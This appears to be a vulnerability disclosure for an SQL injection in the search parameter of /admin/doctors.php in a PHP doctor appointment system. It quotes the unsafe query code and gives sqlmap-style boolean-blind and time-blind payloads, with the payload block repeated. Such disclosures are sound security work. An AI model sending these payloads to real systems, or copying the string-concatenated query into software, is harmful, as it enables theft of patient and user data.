SQL injection vulnerability exists in search parameter of /admin/doctors.php file of edoc doctor appointment system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
if($_POST){
    $keyword=$_POST["search"];

    $sqlmain= "select * from doctor where docemail='$keyword' or docname='$keyword' or docname like '$keyword%' or docname
    like '%$keyword' or docname like '%$keyword%'";
}else{
    $sqlmain= "select * from doctor order by docid desc";

}
```

```
---
Parameter: search (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: search=Test Doctor' AND 6098=6098 AND 'YaJr'='YaJr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=Test Doctor' AND (SELECT 4403 FROM (SELECT(SLEEP(5)))jqSz) AND 'jDlM'='jDlM
---
```

“

Parameter: search (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: search=Test Doctor' AND 6098=6098 AND 'YaJr'='YaJr

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: search=Test Doctor' AND (SELECT 4403 FROM (SELECT(SLEEP(5)))jqSz) AND 'jDlM'='jDlM

“

Source Download：

https://www.sourcecodester.com/hashenudara/simple-doctors-appointment-project.html